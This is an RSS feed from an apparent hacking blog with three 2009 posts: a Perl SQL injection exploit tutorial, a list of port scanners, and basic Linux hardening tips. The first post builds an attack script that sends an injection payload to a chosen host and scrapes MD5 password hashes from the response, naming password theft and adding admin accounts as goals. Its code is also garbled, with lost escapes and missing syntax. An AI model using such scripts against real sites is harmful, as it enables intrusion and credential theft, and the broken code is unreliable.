<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Hacking-Gurus &#187; ipchain</title>
	<atom:link href="http://www.hacking-gurus.net/tag/ipchain/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.hacking-gurus.net</link>
	<description>Security Blog</description>
	<lastBuildDate>Thu, 19 Jan 2012 21:06:41 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>Writing SQL Injection exploits in Perl</title>
		<link>http://www.hacking-gurus.net/2009/04/04/writing-sql-injection-exploits-in-perl/</link>
		<comments>http://www.hacking-gurus.net/2009/04/04/writing-sql-injection-exploits-in-perl/#comments</comments>
		<pubDate>Sat, 04 Apr 2009 18:30:22 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Database Security]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Servers]]></category>
		<category><![CDATA[Tutorialz]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[db]]></category>
		<category><![CDATA[explots]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[ip]]></category>
		<category><![CDATA[ip address]]></category>
		<category><![CDATA[ipchain]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[MSSQL]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[perl]]></category>
		<category><![CDATA[perl exploits]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[web security]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=62</guid>
		<description><![CDATA[[1] Introduction [2] Little panning of Perl language used into an internet context [3] Perl SQL Injection by examples [4] Gr33tz to &#8230; &#8212;+&#8212; StArT [1] Introduction Perl can be considered a very powerfull programming language in we think to the internet context. Infact we can make a lot of operation across the internet just [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/04/04/writing-sql-injection-exploits-in-perl/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "Writing+SQL+Injection+exploits+in+Perl";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = " Introduction Little panning of Perl language used into an internet context Perl SQL Injection by examples Gr33tz to &#8230;&#8212;+&#8212; StArT IntroductionPerl can be considered a very powerfull programming language in we think to the internet context. Infact we can make a lotof operation across the internet just writing a litlle bit of code. So...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p>[1] Introduction<br />
[2] Little panning of Perl language used into an internet context<br />
[3] Perl SQL Injection by examples<br />
[4] Gr33tz to &#8230;</p>
<p><span id="more-62"></span></p>
<p>&#8212;+&#8212; StArT</p>
<p>[1] Introduction</p>
<p>Perl can be considered a very powerfull programming language in we think to the internet context. Infact we can make a lot<br />
of operation across the internet just writing a litlle bit of code. So i decided to write a similar guide to make an<br />
easiest life to everyone who decide to start writing a perl exploit.<br />
There are few requisites u need to proceed:<br />
- U must know the basics operation of perl (print, chomp, while, die, if, etc etc&#8230;);<br />
- U must know what kind of SQL code u need to inject to obtain a specific thing (stealing pwd, add new admin, etc etc&#8230;).</p>
<p>Now, we are ready to start&#8230;</p>
<p>[2] Little panning of Perl language used into an internet context</p>
<p>Using a Perl code into an internet context means that u should be able to make a sort of dialog between your script and the<br />
server side (or other..). To make this u need to use some &#8220;Perl modules&#8221;.<br />
Those modules must be put on the head of the script. In this tut we are going to use only the &#8220;IO::Socket&#8221; module, but<br />
there are thousand and if u are curious just search on cpan to retrieve info on every module.</p>
<p>[-] Using the IO::Socket module<br />
Using this module is quite simple. To make the Perl Interpreter able to use this module u must write on the starting<br />
of the script &#8220;use IO::Socket&#8221;. With this module u&#8217;ll be able to connect to every server defined previously, using<br />
a chomp, look at the example.</p>
<p>Example:<br />
print &#8220;Insert the host to connect: &#8220;;<br />
chomp ($host=&lt;STDIN&gt;);</p>
<p>Now suppose that the host inserted is www.host.com. We must declare to the interpreter that we want to connect to this<br />
host. To do this, we must create a new sock that will be used by the interpreter to connect.<br />
To create this we are going to write something like this:</p>
<p>$sock = IO::Socket::INET-&gt;new(Proto=&gt;&#8221;tcp&#8221;, PeerAddr=&gt;&#8221;$host&#8221;, PeerPort=&gt;&#8221;80&#8243;)<br />
or die &#8221; ]+[ Connecting ... Can't connect to host.nn";</p>
<p>In this piece of code we have declared that the interpreter must use the "IO::Socket" module, creating a new<br />
connection, through the TCP protocol, using the port 80 and direct to the host specified in the chomp<br />
($host=www.fbi.gov).<br />
If connection is not possible an error message will appear ("Connecting ... Can't connect to host").<br />
Resume:<br />
- Proto=&gt;TCP -------&gt; The protocol to use (TCP/UDP)<br />
- PeerAddr=&gt; -------&gt; The server/host to connect<br />
- PeerPort=&gt; -------&gt; Port to use for the connection</p>
<p>Ok, now let's go to the next step, which is the real hearth of this tut.</p>
<p>[3] Perl SQL Injection</p>
<p>Assuming that we know what kind of SQL statement must inject, now we are going to see how to do this.</p>
<p>The SQL code must be treaty like a normal variable (like &#8220;$injection&#8221;).</p>
<p>Example:<br />
$injection=index.php/forum?=[SQL_CODE]</p>
<p>This string means that we are going to inject the query into &#8220;index.php/forum&#8221; path, following the correct syntax that<br />
will bring us to cause a SQL Injection &#8220;?=&#8221;.</p>
<p>Now we must create a piece of code that will go to inject this query into the host vuln.</p>
<p>print $sock &#8220;GET $injection HTTP/1.1n&#8221;;<br />
print $sock &#8220;Accept: */*n&#8221;;<br />
print $sock &#8220;User-Agent: Hackern&#8221;;<br />
print $sock &#8220;Host: $hostn&#8221;;<br />
print $sock &#8220;Connection: closenn&#8221;;</p>
<p>This piece of code is the most important one into the building of an exploit.<br />
It can be considered the &#8220;validation&#8221; of the connection.<br />
In this case the &#8220;print&#8221; command doesn&#8217;t show anything on screen, but it creates a dialogue and sends commands to the host.</p>
<p>In the first line the script will send a &#8220;GET&#8221; to the selected page defined into &#8220;$injection&#8221;.<br />
In the third line it tells to the host &#8220;who/what&#8221; is making the request of &#8220;GET&#8221;. In this case this is Hacker, but it<br />
can be &#8220;Mozilla/5.0 Firefox/1.0.4&#8243; or other.<br />
In the fourth line it defines the host to connect to, &#8220;$host&#8221;.</p>
<p>With the execution of this script we have made our injection.</p>
<p>Resume of the exploit:</p>
<p>use IO::Socket</p>
<p>print &#8220;Insert the host to connect: &#8220;;<br />
chomp ($host=&lt;STDIN&gt;);</p>
<p>$sock = IO::Socket::INET-&gt;new(Proto=&gt;&#8221;tcp&#8221;, PeerAddr=&gt;&#8221;$host&#8221;, PeerPort=&gt;&#8221;80&#8243;)<br />
or die &#8221; ]+[ Connecting ... Can't connect to host.nn";</p>
<p>$injection=index.php/forum?=[SQL_CODE]</p>
<p>print $sock &#8220;GET $injection HTTP/1.1n&#8221;;<br />
print $sock &#8220;Accept: */*n&#8221;;<br />
print $sock &#8220;User-Agent: Hackern&#8221;;<br />
print $sock &#8220;Host: $hostn&#8221;;<br />
print $sock &#8220;Connection: closenn&#8221;;<br />
close ($sock); #this line terminates the connection</p>
<p>A little trick:</p>
<p>Assuming that, with the execution of SQL Inj, u want to retrieve a MD5 Hash PWD, u must be able to recognize it.<br />
Additionally, u want that your script will show the PWD on your screen.<br />
Well, to make this, the next piece of code, could be one of the possible solutions.</p>
<p>while($answer = &lt;$sock&gt;) {<br />
if ($answer =~ /([0-9a-f]{32})/) {<br />
print &#8220;]+[ Found! The hash is: $1n&#8221;;<br />
exit(); }</p>
<p>This string means that if the answer of the host will show a &#8220;word&#8221; made by 32 characters (&#8220;0&#8243; to &#8220;9&#8243; and &#8220;a&#8221; to &#8220;f&#8221;),<br />
this word must be considered the MD5 Hash PWD and it must be showed on screen.</p>
<p>Conclusions:<br />
The method showed in this tut is only one of the 10000 existing, but, for me, this is the most complete one.<br />
U could use also the module &#8220;LWP::Simple&#8221; in the place of &#8220;IO::Socket&#8221;, but u should change something into the code.<br />
This method can be used also, not only for SQL Injection, but, for example, remote file upload or other.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/04/04/writing-sql-injection-exploits-in-perl/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Top 3 IP and Port Scanner</title>
		<link>http://www.hacking-gurus.net/2009/03/09/top-3-ip-and-port-scanner/</link>
		<comments>http://www.hacking-gurus.net/2009/03/09/top-3-ip-and-port-scanner/#comments</comments>
		<pubDate>Mon, 09 Mar 2009 03:38:02 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Network]]></category>
		<category><![CDATA[Network Tools]]></category>
		<category><![CDATA[angry ip scanner]]></category>
		<category><![CDATA[firewall]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[icmp tools]]></category>
		<category><![CDATA[ip]]></category>
		<category><![CDATA[ip address]]></category>
		<category><![CDATA[ip packets]]></category>
		<category><![CDATA[ipchain]]></category>
		<category><![CDATA[iptables]]></category>
		<category><![CDATA[Mac ip scanner]]></category>
		<category><![CDATA[namp]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[ping]]></category>
		<category><![CDATA[port scanner]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[superscan]]></category>
		<category><![CDATA[tcp ip]]></category>
		<category><![CDATA[TCP SYN]]></category>
		<category><![CDATA[traceroute]]></category>
		<category><![CDATA[windows ip scanner]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=33</guid>
		<description><![CDATA[Port Scanner : A port scanner is a piece of software designed to search a network host for open ports. This is often used by administrators to check the security of their networks and by crackers to compromise it. To portscan a host is to scan for listening ports on a single target host. Nmap [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/03/09/top-3-ip-and-port-scanner/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "Top+3+IP+and+Port+Scanner";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "Port Scanner :A port scanner is a piece of software designed to search a network host for open ports. This is often used by administrators to check the security of their networks and by crackers to compromise it. To portscan a host is to scan for listening ports on a single target host.NmapSuperscanAngry Ip  Scanner1. NmapNmap (&#8220;Network Mapper&#8221;)...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p><strong>Port Scanner </strong>:</p>
<p>A <strong>port scanner</strong> is a piece of <span class="mw-redirect">software</span> designed to search a network host for open ports. This is often used by administrators to check the security of their networks and by <span class="mw-redirect">crackers</span> to compromise it. To <strong>portscan</strong> a host is to scan for listening ports on a single target host.<span id="more-33"></span></p>
<ol>
<li>Nmap</li>
<li>Superscan</li>
<li>Angry Ip  Scanner</li>
</ol>
<p>1. <strong>Nmap</strong></p>
<p><a name="intro">Nmap (&#8220;Network Mapper&#8221;) is a free and open source </a> utility for network exploration or security auditing.  Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics.  It was designed to rapidly scan large networks, but works fine against single hosts.  Nmap runs on all major computer operating systems, and both console and graphical versions are available.</p>
<p><a href="http://www.nmap.org" target="_blank">www.nmap.org</a></p>
<p>2. <strong>Superscan :</strong></p>
<p>SuperScan is a powerful freeware TCP port scanner, that includes a variety of additional networking tools like ping, traceroute, HTTP HEAD, WHOIS and more. It uses multi-threaded and asynchronous techniques resulting in extremely fast and versatile scanning. You can perform ping scans and port scans using any IP range or specify a text file to extract addresses from. Other features include TCP SYN scanning, UDP scanning, HTML reports, built-in port description database, Windows host enumeration, banner grabbing and more.</p>
<p><a href="http://www.foundstone.com/us/resources/proddesc/superscan.htm" target="_blank">www.foundstone.com/us/resources/proddesc/superscan.htm</a></p>
<p>3. <strong>Angry Ip  Scanner :</strong></p>
<p>Angry IP Scanner (or simply <em>ipscan</em>) is an open-source and cross-platform network scanner designed to be fast and simple to use. It scans IP addresses and ports as well as has many other features.</p>
<p>It is widely used by network administrators and just curious users around the world, including large and small enterprises, banks, and government agencies.</p>
<p>It runs on <em>Linux</em>, <em>Windows</em>, and <em>Mac OS X</em>, possibly supporting other platforms as well.</p>
<p><a href="http://www.angryziber.com/w/Home" target="_blank">www.angryziber.com/w/Home</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/03/09/top-3-ip-and-port-scanner/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Basic Linux Server Security</title>
		<link>http://www.hacking-gurus.net/2009/03/07/basic-linux-server-security/</link>
		<comments>http://www.hacking-gurus.net/2009/03/07/basic-linux-server-security/#comments</comments>
		<pubDate>Sat, 07 Mar 2009 20:27:58 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Network]]></category>
		<category><![CDATA[Servers]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[ipchain]]></category>
		<category><![CDATA[iptables]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[password meter]]></category>
		<category><![CDATA[permission]]></category>
		<category><![CDATA[root]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[su]]></category>
		<category><![CDATA[sudo]]></category>
		<category><![CDATA[user]]></category>

		<guid isPermaLink="false">http://hacking-gurus.net/?p=3</guid>
		<description><![CDATA[Linux Security is a big topic and is difficult to be covered in one post. i will keep posting on this top time to time. Below is some basic information; how we can secure a linux box. Password Security Directories Permissions/Ownership Security Unnecessary Services Network Security 1. Password Security Make you password strong and lengthy. [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/03/07/basic-linux-server-security/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "Basic+Linux+Server+Security";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "Linux Security is a big topic and is difficult to be covered in one post. i will keep posting on this top time to time.Below is some basic information; how we can secure a linux box.Password SecurityDirectories Permissions/Ownership SecurityUnnecessary ServicesNetwork Security1. Password SecurityMake you password strong and lengthy. Combine letters,...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p>Linux Security is a big topic and is difficult to be covered in one post. i will keep posting on this top time to time.</p>
<p><span id="more-3"></span></p>
<p>Below is some basic information; how we can secure a linux box.</p>
<ol>
<li><strong>Password Security</strong></li>
<li><strong>Directories Permissions/Ownership Security</strong></li>
<li><strong>Unnecessary Services<br />
</strong></li>
<li><strong>Network Security</strong></li>
</ol>
<p>1. <strong>Password Security</strong></p>
<p>Make you password strong and lengthy. Combine letters, numbers, and symbols. Use <strong><a href="http://www.passwordmeter.com/" target="_blank">password meter</a></strong> to test your passwords. Do not use root login for your normal work. only use limited users and for installation and other tasks where root login is required you can use <strong><em>su</em></strong> or <strong><em>sudo</em></strong> to become root and perform special task as soon as you are finished with your task press ctrl+D to return to normal user envirement.</p>
<p>2. <strong>Directories Permissions/Ownership Security</strong></p>
<p><em>Linux</em> have very good directory permision system as compared to <em>Windows</em>. All you need is to only change directory permissions where needed. and do not permit access to directoires like /etc /root to limited users as they could read important information that would help them hacking you box. You can use<a href="http://www.onlineconversion.com/html_chmod_calculator.htm" target="_blank"> <strong>online permission calculator</strong></a> to calculate permisions .</p>
<p>3. <strong>Unnecessary Services</strong><br />
You need to disable all services that are not usefull to you. you can use <a href="http://sysv-rc-conf.sourceforge.net/" target="_blank"><strong><em><em>sysv-rc-conf</em></em></strong></a> to check and manage all servces and their <strong><a href="http://www.networkclue.com/os/Linux/run-levels.aspx" target="_blank">run levels</a></strong>. To disable a service you can uncheck a service run levels in <em><em>sysv-rc-conf .</em></em></p>
<p><em><em>4. </em></em><strong>Network Security</strong></p>
<p>Network Security is its self a big topic but at basic level you need to check which network services you are running at your linux server <em>( for example apache/httpd mysql bind )</em> . You can use firewall to disallow unneccessary access to these services . <a href="http://cnx.org/content/m12981/latest/" target="_blank"><strong><em>IPTABLE</em></strong></a> or <a href="http://tldp.org/HOWTO/IPCHAINS-HOWTO-1.html#ss1.1" target="_blank"><strong><em>IPCHAIN</em></strong></a> is firewall that is widely used to secure linux server. but for unauthorized access you need to configure each service to disallow. i will try to go in deep details of these services so stay tunned <img src='http://www.hacking-gurus.net/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  .</p>
<p>Your Comments will be <span class="w">appreciated</span>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/03/07/basic-linux-server-security/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>

